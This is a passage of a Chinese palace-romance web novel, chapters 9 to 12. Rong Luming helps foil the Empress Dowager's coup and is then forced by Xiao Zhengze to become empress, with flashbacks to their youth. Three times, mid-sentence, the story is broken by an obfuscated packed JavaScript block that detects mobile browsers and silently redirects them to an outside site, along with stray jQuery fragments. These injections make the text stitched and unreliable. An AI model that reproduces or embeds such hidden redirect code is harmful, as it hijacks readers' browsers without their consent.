她脚步极轻,混在阵阵涌来的兵甲声中,萧正则端正地躺在榻上,似是睡了,却突然开口道:“鸣鸣”,然后他睁开眼睛:“你竟真的来了。” 9. 绝处逢生 容鹿鸣想反驳他,窗外齐整有力的步伐近了,更近了,兵变已在咫尺,容鹿鸣感到芒刺在背。 “少将军可是怕了?”萧正则抿唇笑了,像在品尝她的表情似的,看着她。 “陛下……”门外步伐声停了,“哄”的一声,福宁宫的大门被猛力撞开。萧正则忽地伸手拉住她,岚青的锦被里,把她的脸颊按在身侧,“藏好。”他悄声说。 药的味道、血的味道,容鹿鸣闻到,重伤未愈、未服良药,萧正则这是想干什么? 突地安静。 之后是细微的动静,容鹿鸣听到,是堆叠的衣饰窸窣作响,在禁军阵前,来的是个女人,似乎只带了个侍卫。 “陛下,身体可好些了?”倨傲的口吻,是太后宋桓。 “谢母后挂念,大抵好些了,咳——咳——” 容鹿鸣伏在锦被中,控制着呼吸,宝剑压在她手臂下。萧正则可能不是在装病,她愿意相信他的诡计,可脑海里依然闪过许多意外…… “呵,不知你用何方法骗得老皇帝传位于你?现在看来,陛下伤势愈沉,国事繁重,不如就此息肩吧。既然西戎有过女帝,我晋国为何不可?” 她身后是听令而来的禁军。容雅歌尚在北境,容鹿鸣被压死牢,以为剪除了异己,宋桓直感胜券在握。 短暂沉默,骤风惹动烛火。 “这是礼部侍郎替皇上拟定的退位诏书,现在盖上玉玺便可昭告天下。萧正则,你的玉玺呢?” “母后,这是何苦?”萧正则吃力地坐起来,拱起一侧的长腿,借锦被挡住容鹿鸣。 “说!玉玺呢?”宋桓抽出身旁侍卫的长剑,死死压在萧正则脖子上。 “母后,二哥已死于您手下,难道,连我也……” “杀掉你和杀掉他一样简单,你们都是我通向王位的阻碍。你父皇也不过是个耽溺柔情的懦夫,静妃一死,他就一蹶不振了。我蛰伏多年,终于,他们都死了个干净。快,萧正则,我的耐心不多了。” “静妃,也是你害死的吗?”长剑加身,萧正则仍是冷静地问,对自己的生死近乎淡漠。 “不然呢,谁叫她和她的宝贝儿子挡了我的路!” 锦被之下,萧正则纤长有力的手指在容鹿鸣面前紧握成拳。太凶险了,她担心他同宋桓一样疯起来。 不能再等!容鹿鸣握住长剑,一瞬地翻身跃起。几乎本能的,她推开了萧正则,替他挡了宋桓的剑锋,然后反身,利剑死死抵住宋桓纤细的脖颈,另一手抛出匕首,直插那侍卫的心脏。 “退下!”容鹿鸣喝道,禁军哗然。后颈处新鲜的伤口在流血,她仍是临危不惧。 “容鹿鸣,你不是在死牢吗……怎么会?”宋桓声音颤抖。 容鹿鸣哼笑一声,扭头问萧正则:“陛下不会只有我这一颗棋子吧?” “谁知道呢?”萧正则平静下来,理了理衣襟,从容站到了容鹿鸣身边。 “镇国公何在?”萧正则朗声道。 “老臣在此。”面前的军阵敞开一个口子,宋衍走出来,向萧正则叩拜行礼。 “宋桓刚刚说的话你可听到?” “一字不落。” “那好,你说当如何?” 御阶之上,宋衍重重叩首,雪色阶梯,鲜血溅落,“臣家门不幸,出此奸佞,实乃愧对先皇、愧对我宋氏先祖。我为家主,当与长姐同死,以赎此罪。”当朝重臣,竟然哽咽。 “罢了,太后之事应与镇国公无关。” 宋衍仍是以首贴地。萧正则不再看他,从袖中取出一块玉牌,郑重地亮在军前。暗夜之中,玉色莹润如月。宋衍身后禁军,见玉牌即跪,金甲铿然。 宋桓面无人色。 “太后怕是不知,禁军兵符历来只是做做样子,真正能调动禁军的,是这块父皇的玉牌。” 容鹿鸣认得这玉牌,正是成婚第二日,萧正则给她的,她于战场上令小虎交还于他,上面的殷红未及擦拭,是她的血。她以为这是先皇赐予静妃,静妃故去后留给萧正则的唯一遗物。心中已觉沉重,没想到,还能调动禁军,萧正则对她,是不是太过信任了? 星光暗淡,不甚圆满的月洒下冷碎的清辉。 “鸣鸣,伤口可还好?”萧正则以铅白衣袖,轻轻攒去她后颈伤口的血,也一并执了她的剑。 “既然真相已明,宋桓,静妃的事、二哥的事,血债要血偿!” 刹那间,许多前朝旧事在容鹿鸣脑海里翻卷而过,“陛下,不可!”她挡在了宋桓身前。 陆小虎早已默默护卫在容鹿鸣身侧,此刻忙出声警示:“少将军!” “容鹿鸣,你这是要反了吗?”萧正则笑了,眼里却是冷的。剑在手中,容鹿鸣任自己生死予夺。片刻,他动了那念头。 容鹿鸣跪下了,“陛下,请把太后交给大理寺,人证物证俱在,以我晋国律法处之,当枭首示众。” 萧正则垂了剑,利刃抵在容鹿鸣面前,映着她低垂的头颅。“为何?”他问。 “御史俱在,陛下的手不可染亲族之血。否则,不论因果,后世会怎样议论陛下得位不正,子孙当怎样效仿?” 她这种文臣的审慎和怯懦激怒了他,明明战场上杀伐决断的人缘何如此?除非,她也参与其间。萧正则仍是笑着,垂下的宝剑却猛得抬起,向她身后的宋桓劈去。 “陛下!”情急之下容鹿鸣抱住了他的双腿,让他无法动弹,“想想西戎,想想西戎的王室之争!” 这些话关涉西戎宫闱秘闻,委实不该说!以萧正则的聪慧,可以轻易猜出她与西戎牵涉颇深,可她顾不了这许多了,她已目睹许多亲族相残,这种事就像魔咒,如果打破规则,就难以止息:不顾一切地奔向权力,怀疑、仇恨将裹挟住所有人…… 或许,自己在萧正则身上寄予过期盼明君的热望,容鹿鸣想,等待着萧正则落下的剑,也许会落在自己身上。 片刻之间,萧正则却是静了,他丢了宝剑,一手把仍跪着的人按在了怀里,心里的怀疑熄灭了,巨大的庆幸几乎淹没了复仇的快意:还好,这人未背叛自己。 “来人,把宋桓压下去,交大理寺,宋衍主审,十日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592637|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之内,朕要结果。三王萧正则意图弑君,已压入天牢。禁军速归原位。昙现,叫负责典仪的尚宫们来。” 昙现领命走了,福宁宫内只余几名侍女,静静的、举止如常,先前的惊惧业已掩藏好。 容鹿鸣扶萧正则坐回榻上,仍是跪着。 萧正则以龙纹衣袖的一角,轻轻压住她渗血的伤口,“十日前在战场,还有今日,你若不挡在我面前,我便死了,你或许就自由了……”生死攸关的话,萧正则却轻轻呢喃着。 “不,陛下不能死!” 萧正则静了,端视着她,“你曾对我说,君子如竹,中空而不改其志,顺势而为。当有防人之心,凡事藏拙,静候时机。” 容鹿鸣闻言色变,往事俱在她眼前浮现。 “我猜,旧日之事,你都还记得。” “不!”容鹿鸣被他逼得后退。 “或许,我该再唤你一声容讲郎?我那会儿刚过十岁,而你已是战功赫赫,勇冠三军。可我在这深宫中想着的,却是战事何时能平了,下次还能不能见到你安然归来?” 容鹿鸣悚然,丧失了所有言词。 “所以,容鹿鸣,这几日我都在想,那不是意外,你竟是在裕城城下等那支箭,只是为了……为了逃避我!” 萧正则不可抑制地笑了,无处湮灭的痛恨控制了他,他用握剑的手扣住容鹿鸣白皙的脖子,越来越紧。与眷念一样强烈的念头是:只要这个人死了,他在这世上就再也没有害怕失去的了。 容鹿鸣没有反抗,她像是倦了似的,闭上眼睛,任凭萧正则处置。 可她皮肤的温热、气息,像肆意的风席卷过来,萧正则不知怎么了,越过胸前的伤口,心底深处狠狠地疼了起来。 一瞬地惊惧,他错手把她推倒在地,掩饰着自己的失态,高声喊道:“陆谦,快给她治伤!” “是。”陆谦战战兢兢地上前来,他感受到萧正则转瞬的杀意。 “陛下,您的伤口……”铅白的衣襟渗出血痕,萧正则却不甚在意:“无妨,先给她疗伤。” “那药丸,陛下未服用吗?”容鹿鸣吃力地爬起来,仍端正地跪着,容色已如常。 萧正则没有回答。 “陛下是怀疑那药丸……” “你不会杀我。” 四目相对,容鹿鸣困惑了,萧正则这种笃定的信任和难抑的怨怒,到底为何? 萧正则自己也不甚明白。心中所思他没有说出口,当知晓了那药丸的珍贵,他只想把它留给容鹿鸣。而他说出口的话却是:“宋桓何其精明,没有点垂死的样子,怎么骗得过她?” “那陛下的伤……”容鹿鸣猜不透萧正则的心思,没有起身,向前膝行两步。 萧正则沉默着,看着面前人,很小的时候父皇曾对他说过,帝王要像隐藏伤口一样隐藏自己所珍爱的。 他抚上容鹿鸣苍白的面颊和从不喊痛的嘴唇,如同抚摸着自己不愿示人的脆弱伤口。如果能把她藏起来,或是让自己的心冷下来,那就好了。萧正则想,少有的,质疑自己已布好的局。 10. 成为皇后? 昙现领着尚宫们入殿。萧正则立刻收回手。 “陆谦,为朕包扎伤口。裴尚宫,为娘娘更衣。” 昙现立到一旁:“陛下,册封典礼已准备妥当。” “甚好。” 容鹿鸣猛然抬头,谁的册封典礼? 萧正则不知是厌了还是倦了,不再多说,挥挥手让她们退到里间。 陆谦为萧正则包扎好伤口,血暂时止住了。他身着明黄的盘金绣龙袍,立于殿前,刺绣的金龙在灰光里熠熠生辉。他在等待,那个人站到他身边的位置。为此,他不知已筹谋了多少个日夜。午夜梦回,那些不能宣诸于口的念头:他甚而想过剥去她所有的荣光,将她囚禁深宫…… 他不会那样做。他宁愿伤害自己。 “陛下,这不合礼数!”容鹿鸣疾步走来,跪在他面前。“这是袆衣,臣不配着此。” 这锦绣的礼服紧衬地穿在她身上,真合适,其实他早就在准备了,缀在上面的珠玉宝石俱是他亲自挑选的。 “真好看!”萧正则脱口而出。 “做工确实精良,必是名家手笔。大概是尚宫们拿错了,裴尚宫——” 尚宫们早已退在一旁,闻言皆不敢上前。 萧正则不发话,也不让她起来,反是按住她的肩膀,俯身为她整理那跑松了的钗环。举世无伦的龙凤钗被她的乌发盘着,真正明艳无匹。萧正则之前从未想过的,但这一刻觉得,自己的妻子就该是这个样子。 他的手指划过她苍白的面颊,“裴尚宫,怎么未给娘娘上妆?” “回禀陛下,娘娘刚刚急着见陛下,未顾得上,奴婢这就……”裴尚宫跪地俯首。 “罢了。”其实已经很美了,萧正则在心里想。就势拉她站起来,执了她的手往外走。门外响起规整的脚步声,容鹿鸣熟悉这声音,是宫廷的仪仗和卫队,这么多人、这样大的阵仗,不是皇上起驾去太极殿该有的典仪。 而萧正则面上一片从容,似乎连伤口的疼痛都忘却了。 昙现在他们身前引路,毫无诧异之色。 “昙现公公,等一下。” 昙现示意准备开启门扉的两个内侍停下,“娘娘还有什么吩咐?” “陛下,这是要去哪里?” 萧正则朝她一笑。 “不止朕,是你与朕一道,去参加一个典礼。”萧正则未停步,执拗地拉住她往前走。 是……什么人的册封典礼,宋淑离吗?容鹿鸣暗想,思及昨晚之事,萧正则是该给宋家一颗定心丸。 “陛下,请容臣更衣,这身礼服委实僭越。”容鹿鸣想施礼退下,萧正则却牢牢执着她的手,不松开。 “陛下,臣……” “嘘”,萧正则一手捂住她的嘴,“鸣鸣,以后不要再称臣,你对朕,当自称臣妾。”萧正则的拇指擦过她嘴唇,看进她深潭似的眼睛,然后是她淡色的唇。已然共历生死,此刻,语言缄默着。 大婚那日她的唇是殷红的,萧正则想,用了点儿力咬破拇指,把血涂在她唇上。 被一种莫名的恐惧捕住了,容鹿鸣动弹不得。 “好了。” 女官们推开殿门,朝阳破门而入,猛地掷在地上,仿若铿锵。 安静的宫苑,汉白玉冰冷如雪,各色琉璃瓦闪着灼目的光。 太极殿前,群臣肃立。紫的、绯的朝服,远望如大片沉暮中将熄的晚霞,沉默着,不喜不忧。 一路走来,遵循着礼仪,容鹿鸣悄然寻觅着宋淑离的身影。已至太极殿前了,群臣朝拜,然后仍是静默。 “跪下。”萧正则突然对她说。 于是跪下了,他是她的君王。叩拜,余光暼见昙现的脚步停在面前,耳畔听得“欻”的一声,圣旨打开了,昙现朗声宣读。 每一个字容鹿鸣都听得清清楚楚。她同哥哥容雅歌一样,自幼苦读。这样的诏书,老师教过她,也曾戏为宫中新晋的嫔妃写过册封,颇受先帝赞誉。 这封诏书写得犹美,不亚于兄长和她。可她却觉得有些听不懂了:诏书开头,说的怎么不是“宋氏之女”? 宣毕诏书,昙现的余音落了,周遭又是静。容鹿鸣跪着,仍在借余光寻着宋淑离。 “皇后娘娘,快些磕头接旨吧。”昙现低声提醒。 皇后娘娘是谁,我吗?容鹿鸣竭力回想刚刚那诏书的开头,一无所获。不,不该是这样。她仍是跪着,一动不动。 群臣之中略有骚动,禁锢的沉寂松动了,容鹿鸣仰头,准备坚定地说句:“微臣不才,难堪此任……” 萧正则却率先动了,一手重重按在她肩上,另一手将圣旨牢牢压在她手中。 “皇后慎言慎行,容相可在一旁看着呢。”萧正则松了手,心满意足地看着自己的棋子。 一瞬地,容鹿鸣心中闪过许多画面:云顶寺、边境田畴、西戎草原……每一种都是她曾冀望的归宿。 她不愿留在皇宫,只愿天下安定后,与父兄一道远离纷争。可萧正则的话束住了她,自己的软肋,终究在他手上。他差点因她死了,却仍旧拉她一道立于权力之巅。 他究竟在谋划什么? 这一刻,抛开君臣伦常,容鹿鸣看不透他,但心有恨意。 昙现读懂了萧正则的神色,转身后退一步,猛得按住容鹿鸣低垂的肩膀,使力一压。红宝石的、翡翠的、珍珠的簪,“啪”地撞在御阶之上。 “皇后娘娘领旨谢恩!”昙现代容鹿鸣答道。 萧正则亲自扶她起来,群臣山呼万岁。他像是爱极了似的,牢牢握住她的手,不肯松开。 宋淑离这才现身,款款走来,灼若芙蕖出渌波。在帝后面前恭敬跪下,受了“淑贵妃”的封号。容鹿鸣几乎按捺不住冲动,想罔顾礼仪地问一问萧正则:自己的位分是不是和宋淑离搞混了? 她是真不愿做皇后,更不愿受这金玉的枷锁。 忍了又忍,她想挣脱萧正则灼热的手。他却缠得愈紧,一面示意昙现扶宋淑离起来。 群臣齐跪,朝贺声撼天动地。容鹿鸣觉得自己成了一管空心的笛,一任冷风灌入胸中,只能出声应和。萧正则在她耳畔低语:“容鹿鸣,你走不掉的。”第二次听到这样的话,她痛苦地望向他。 上一次是多年以前,她还是他的讲郎,被他以刃抵喉。他滚烫的唇贴在她颈侧,仿佛下一息,就会咬破她跳动的血管。她一直以为,他那时酒醉。唯他自己心知,他不过是借酒气掩饰清醒。 萧正则迎着她带痛的目光,默想:恨与不跟都无所谓了,只要能把她困在自己身边。不过是个女人,束住她的手脚就好。 明月倚飞檐,竹影满院, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592638|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曳动如浮藻。典礼的韶乐,越听越寂。 萧正则的后宫,居然只有她和宋淑离,有什么好贺? 容鹿鸣连样子都不想装了,郑重地向宋淑离还了礼,便托病回了凤仪宫。屏去下人,独自坐在曲折的回廊里,倚了阑干,扯着箬竹的叶子,深深浅浅地想一些事。 萧正则听女官来报,说容鹿鸣身体不适,担心她旧伤复发,立刻放下批了一半的折子,来凤仪宫看她。 远远瞧见她支颐闲坐,见了自己也不跪,反是迎着月光问他:“陛下,今日的册封典礼可是弄错了?” 她仍在挣扎,萧正则想,信步走来,坐在她身边,却不回答。 秋意已深了,凉风携来阵阵桂子的甜香。容鹿鸣未看萧正则,只是透过翠竹的叶隙望着月亮。 “为什么不是宋淑离?她自幼长在宫中,受着皇家的教养……不像我,除了领兵作战之外,全无治理后宫之才……” “容鹿鸣,朕不许你这样看轻自己!” “那陛下想从我这里得到什么?”容鹿鸣收回目光,伤口有些痛,她把脸枕在手臂上,望向他。 她的眼睛里沁着月光,像山涧幽泉,让他的自制力松开了,有些话险些脱口而出。他终是忍住了,强迫自己就事论事,如谈一桩联盟:“我要整个容家为我所用,宋衍、老九和老十,我都信不过。” “那就这么信我吗?”容鹿鸣问。 “大概……”萧正则睇视她,目光有些凉了。 浮云曳过月色,他的面影时明时暗。容鹿鸣试图让自己显得温顺些,等着他可能的质问。 “西戎靖王缘何在你营中?”萧正则若无其事地说。 幸好是这一问,容鹿鸣想,她早在心里编好了故事。 “当年西戎南蛮之战,臣妾曾率兵驰援于他,此次城墙一箭,靖王是受臣妾所托,以助臣妾构陷三王,没想到会误伤陛下,臣有罪。”容鹿鸣在萧正则膝前跪下了。 “误伤之事,朕可以信你。可那只是拉老三下水?不,他是来助你逃跑的。” “臣有罪。”容鹿鸣稽首。 “又说错了,鸣鸣。记住你的身份,从今以后,你便是晋国的皇后,这不会改变。” 虽然,在我面前时她从未把自己当做女人,更未想过做我的女人,萧正则想,心中落寞。 “皇后”二字像一条柔韧的锁链,由他说出,然后束住她。她一时失却了表情,呆呆跪着。 萧正则被触动了,猛得抱起她,用未受伤的手臂。 “萧……陛——下!” “今后,若再见宇文靖在我军营中,朕必削掉他刺青的手指。” “陛下……”容鹿鸣想解释些什么,萧正则掩住了她的嘴。 “不必多说,你不要再见他。” “是。” “也不必再见其他外臣。” “……是。” “扶朕回凤仪宫吧。”萧正则重创未愈,感到少有的倦意,有些事只能等它渐渐清晰。 “是……不,陛下,永安宫其实不远,臣妾让郁雾为陛下备下软轿。” 萧正则给她气笑了,仍抱着她,不放手。 “册封大典之夜朕不留在中宫之处,你让前朝的那些聒噪之臣如何评说?明早的折子堆上来,难道鸣鸣与朕批?” 11. 恨意早生(上) “陛下,非也,今夜若陛下去了永安宫,群臣会知晓,在陛下心中,功过分明,绝不会因血缘之由累及无辜,轻看了朝中股肱……”容鹿鸣答得理直气壮。 萧正则忍了笑意,松开她,靠住了阑干听她继续编,觉得比茶馆听书还有趣。 “陛下……” 萧正则托着太阳穴,悠然自得地看月,也看她,“嗯,皇后接着说。” 桂香随风,时浓时淡,明日让人送罐桂花蜜来,他想,心里记得这是容鹿鸣极喜欢的。 花香和美人让萧正则放松了警惕,他垂下眼帘:“朕是不太懂皇后想说什么,朕不过是想去皇后宫中,让皇后为朕换药,怎么还牵扯上朝中股肱了?” 容鹿鸣立即闭口,面颊胀红,恭敬地扶萧正则起身。 萧正则觉得有趣极了,似乎连胸前的伤口都不痛了。 萧正则胸口的伤又在渗血。容鹿鸣赶忙令人垫了个缂丝兰花面的靠枕,让他斜倚在床榻之上。 “美盼、昙现,速取药和纱布来。”容鹿鸣系了襻膊,净了手,轻轻松开萧正则的衣襟,解开他浸血的绷带,露出男性结实的胸膛。久在沙场,她没有太多顾忌。 从红木的漆盘中取了药瓶,容鹿鸣先倒了些在掌心,闻了闻,问道:“这可是陆院判配的药?” “回皇后娘娘的话,是。”这称呼让容鹿鸣怔了怔。 收回心神,上一任太医院院判容鹿鸣是认识的,也姓陆,陆徐,陆谦的大伯父。陆徐曾做过随军医官,容鹿鸣小时候跟他学过医术。“陆谦的医术不如师父啊。”容鹿鸣在心里叹。 “陛下可信得过我?”容鹿鸣笑着问。 第二次听她这样问,萧正则有些怒意:命都给她了,怎还这样说?但见她笑着,那点儿怒气便散了。 见他微微颔首,容鹿鸣唤了下人:“郁雾,去把我的药箱取来。”她特地叫了萧正则拨给她的女官。 萧正会不明白她的心思?信与不信,信到什么程度,她比他还要谨慎。 取出锡制的小药瓶,拧开盖子,药气浓郁,带些辛辣。 “皇后娘娘……”昙现出声提醒。 “无妨,”萧正则把那药瓶捏在手上,“皇后这药,在南境军中颇为出名呐,据说很痛,但极有效。” 南境细事,他竟也清楚,容鹿鸣想,面上平和,谦恭地解释:“掺了几味性烈的药,可以止血生肌,收敛伤口。但请陛下忍一忍。” 轻细地,她把药粉洒在他伤口上,淡淡的血雾漫起来。比疼痛更引他注意的是,她的手紧紧握着自己的,跟那时候一样,像是怕自己忍不了这痛似的。萧正则翘了翘嘴角。 抻开洁净的纱布,容鹿鸣为萧正则重新包扎。他们挨得那样近,彼此都能嗅到对方身上的气息。他身上染了淡淡的白檀香。她看见了他胸前和手臂上的伤痕。 一时的,旧日回忆又捕住了她。那次被萧正则以刃抵喉后,她并未动怒,只以为他喝醉了,又是自己心爱的徒弟,以后让他少碰甘酿便是。 没过几日,她就回了南境,照旧没支会任何人。聚散离合她都看得很淡了,也曾玩笑般地想过:若一场送别,转身成诀别,让人日后回想起来,徒增伤感。 她在南境畅快地杀着敌。战争间隙,不时还用隐语写信给容雅歌,讨论兵法战术。有一日,容雅歌写来封信,要她阅后即焚。信上说,萧正则突然请旨出征,蛰伏多年,他恐怕要动手了。京中政局将变…… 她焚信时闻得烛火是苦的,一个不留意,指尖一疼,被热焰燎伤,她这才明白不是梦境。 她为助他远离政争多做谋划,也曾教他明哲保身。他这次冒然行动,委实不明智,若其他皇子再暗中谋害,此去该有多少危险? 她人在军帐之中,忧心如焚。想到他药不离手,孱弱无力,若在盛世,可堪个文治明君,可在这乱世中,她怕他未及立足便已殒命。 于是飞鸽传书容雅歌,请他务必施以援手,亦告知他,自己会与萧正则割席分坐。 他既一头扎入纷乱政局,容家就不便再与他过多牵扯。为了护他不卷入更大纷争,也为容家不至因政争崩溃——在平定战乱前。 她在烛光投下的小片光影里,深深浅浅地想许多事。她还有许多东西没教给他:他的工笔佛像仍显粗疏,草体亦写得不够肆意……淡淡的遗憾一丝丝聚在她心里,攒成一朵苦涩的云。 林间的风打着呼哨,她挑帐望向碧落,天色初明,暗云汇集,恐将雨。与她的心境相照。 她不气他不听劝说,只觉得遗憾和感伤。多好的慧根呐,大抵这就是命数吧。先前她还想着,若她自己战死沙场,就由他书画恣肆,代她快意一生。此时看来,怪她自己妄生了执念。 “美盼。” 侍女应诺入帐。 “传信相府。自今日起,不论七皇子派什么人来、送什么东西,一概不许见、不许收。” 他寄来军中的信,她也不回,直接令美盼烧掉。 次年返京,她自宫中归相府,即刻闭门不出,称病谢客。 听闻他亦自北境战场归京不久,尚在养伤。 她在书斋临一张前朝名帖《逍遥游》,顿笔几误。索性搁了笔,叫美盼去把相熟的药铺掌柜请来。 “少将军哪里不舒服吗?” 她觉得疲倦得狠,坐到一旁容雅歌的躺椅上。红木的雕花硌在脸上,沁沁凉。她一个字也不想说,挥手令美盼速去。 “从后门走。”她低声补了一句。 药铺老板乘了顶小轿,很快到了。恭敬地立在书案前,静候容鹿鸣吩咐。 “少将军面色不好,似是热病,老奴敢为将军请脉? 容鹿鸣睁开眼睛,“无妨,老毛病了,美盼,着人跟老掌柜一道,按老方子抓两副药。 “是。”美盼的声音没入沉默。 老掌柜立着没动,这般把他叫来,少将军一定还有重要的事。 容鹿鸣却像是陷入了昏沉。她压住心里的念头,把所有迟疑归咎于此时的病。“不可再有牵扯。”她轻轻吟诵这句,给自己听。 头晕得厉害,她勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592639|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强支起右手,挥了一下,示意掌柜退下。 老掌柜心有疑窦,静静退出书斋。他脚步声很轻,像落远的梧桐叶子。 容鹿鸣却猛得坐起来,气自己,气得发笑。 “去,叫老掌柜先在园子里候着。美盼,把那两盒伤药送出去。” “少将军,您自己还要用的!” 容鹿鸣摇了摇手指,示意她别说话,“你听好,这药,让他立即亲自送去七王府,就说是陆院判特意吩咐的。” 这药是她在师父陆徐原有方子上改良的,又借了他的名义,萧正则大抵不会起疑。他自小体弱,一般的药,起效很慢。 “不是说,不再有牵扯了吗?” 容鹿鸣靠回躺椅,“别说了,速去。” 让他自生自灭明明是最好的,他属意容家,或是容家归了他,都将掀起多大的风波? 让所有因果都停在此处吧,她请求自己。 傍晚时下了场雨,雨打翠竹,簌簌作响。 美盼端了药来,苦得难以下咽。 “拿本书来,边看边喝,驱驱苦味。” 美盼取了本容鹿鸣最常读的,捧了过来。 “有国于蜗之左角者,曰触氏,有国于蜗之右角者,曰蛮氏……”饮了口药,读了两句,容鹿鸣觉得不对了,这书上的字迹与她自己的几乎一般无二,是了,是萧正则抄了送来的。 她将药一口饮尽,看向书案,自己常看的几本书,不知不觉,都换成了他手抄的版本。他为自己抄了这么多书吗?她心里想,叹了句:“算是个好徒弟了。” 有小厮踏雨奔来,对门外侍女低声说了什么,美盼忙过去询问。 “少将军……”美盼欲言又止,神色惊慌。 “怎么了?” “有人递了拜帖来,正等在后门。” 容鹿鸣仍是闭目养神,她头晕得厉害。后门递拜帖,这又是哪家王爷前来延揽? 她刚想回绝,又品得美盼语气不对,灵光一闪,她坐了起来,丢开搭在额上的冰凉丝帕。 “是萧正则。”无需多言,她就是知道来人是他。因着先前治水的功绩,他已是封了王。她还不习惯称他“七王爷”。 “少将军,七王爷孤身前来,只带了一个侍从……说您若不见,他便不走。” 团聚多时的雨云蓦地扯出闪电,浅蓝的冷光一刹地照亮书斋。雷声滚滚涌来,雨势愈大。 “不见,后门栓紧。”容鹿鸣一字一句地说。 “少将军,七王爷重伤在身,未带雨伞,这雨……” “不见,我说了不见!”容鹿鸣踢开躺椅,碰落了桌角的秘色瓷笔洗。 “啪!”碎如碧玉。容鹿鸣清醒过来。“代我去东宫传信,你亲自去,别带人。你是我的人,管事的会直接带你见太子。你就说七王爷在容相府外,太子听了便明白。” 雨声嘈嘈,坐立难安。约莫一炷香,七王府管事来寻萧正则,说太子传了话,已起驾去王府探望他。 萧正则不得不走,容鹿鸣不敢再留。 12. 恨意早生(中) 临晨时分,大雨初霁,容鹿鸣乘了马车,预备返回南境。她高热未退,是叫美盼扶上车的。 容止心有不忍,握着她的手,“鸣鸣且去,其余的事交给阿耶……”他以袖角拭去她额上的汗水,年近七旬,他苍老的手微微颤抖着,“阿耶没能照顾好你,咱们容家……” “阿耶,女儿都懂,不能行孝膝前,阿耶保重!”她使力抽回手,不敢回头,恐是诀别,不能落泪。 马蹄踏响满街的积雨,容鹿鸣倚着靠垫,抽出随身匕首,寒光照玉颜,她用那冷刃贴住了自己的眼睛。 也许会从此刻生出恨意,容鹿鸣想,愿他能一直恨着。 愿阿耶长寿无虞,愿容家得以善终。 “皇后在想什么?”萧正则问,嗅着她好闻的气息。昙现几人已是默默退下了。 “陛下还怨臣妾吗?”容鹿鸣突兀地问。 他恨她的事有许多,却不知她说的是哪一件?桩桩件件算起来,足够把她永世压入死牢,或者,将天下与她共赏。 萧正则捏住她了的下巴,促她抬头。指端触感,犹如最细腻的花瓣。他曾为她植过许多花,诸种芳华,皆不如她。 他记得第一次见她是在北境,已是太子的二哥押送军需去前线,几经周旋终于说动了静妃,同意带上他,说是男孩子纵使年幼,也不能养得太娇贵,得吃点儿苦、见见世面。现在想来,二哥当时执意带上他,一路也不管他懂不懂,给他讲了许多治国理政之道,仿佛是已然预感到了什么。 那会儿,他在马上,被皇兄抱在身前,看到骑在高大骊驹上的容鹿鸣,立刻扭头问二哥:“皇兄,战场上还能敷白妆吗?” 二皇子顺着他的视线看过去,“噗嗤”一声笑了:“她可没有画白妆。现在你知道‘玉面将军’的称呼是怎么来的了吧,就是她,容雅歌的小妹妹——容鹿鸣,你吵着要见的人。” 是她!萧正则简直吃惊极了。时间往回倒一点,不过十三四岁,这人带了八十轻骑直杀入北狄大营,逼得北狄统帅与晋国立约:休战半载。这才为他们运送军需争取到了时间。 竟然是她! 容鹿鸣远远看到二皇子,驰马过来行礼。然后笑问:“太子殿下,这位小童是?” 小童?萧正则气坏了,不过长我六七岁,怎么就能称我是小童了? “是知县家的孩子,我带他来看看。”顾着他的安全,二皇子未说真话。 容鹿鸣行过礼便退下了,行了不远,勒住马回头对他说:“小童,小心些,定要跟好殿下。” 说不出的怪异,萧正则觉得,未及及笄,她自己明明也还是个孩子,却已如此难掩光华。不想承认,心底首先感到的,是嫉妒,剧烈得如同军中冲锋的号角。 晚间托故跑出二哥军帐,萧正则悄悄去马厩处看了她的骊驹,如此高大,自己甚至都爬不上去。 顺着马厩的另一边往回走,经过演武场。夜幕深深地垂着,星光几点,朗月似有偏爱似的,只照着她——容鹿鸣在月下练剑,不,那更像是在舞吧,可以勃然而起划破长风,亦可以柔缓而落托起尘埃。动静之间,她从容制衡着生与死的力量。 风从她的方向好听地吹来,朗月之下,他又愿意相信,她手执的,不是剑,而是一支蟾宫的仙笛。 激动之间,萧正则踩动了脚边小石,声响细微。 “谁?” 只一瞬,长剑已奔他而来。他惊得一个趔趄,坐倒在地上。 “小童,你没事吗?”容鹿鸣收了剑,神色和缓,把他抱起来,拍去他身上的尘土。“晚间在军营里,不可乱跑,明白了吗?”见他白嫩的手心叫乱石划了个口子,她便牵起他,“去我帐里,给你包扎一下,再送你回二皇子那里。” “嗯。”他未受伤的小手由她牵着。她的手其实很软,只是纤细的手指上有一层薄茧。淡淡的茉莉味道,她身上的,夜色衬得她如同某种月色的植物。却不是花,她的好看收束在内里,强劲动人。 “我不叫小童。”他申辩道,没来由的,心跳很快。 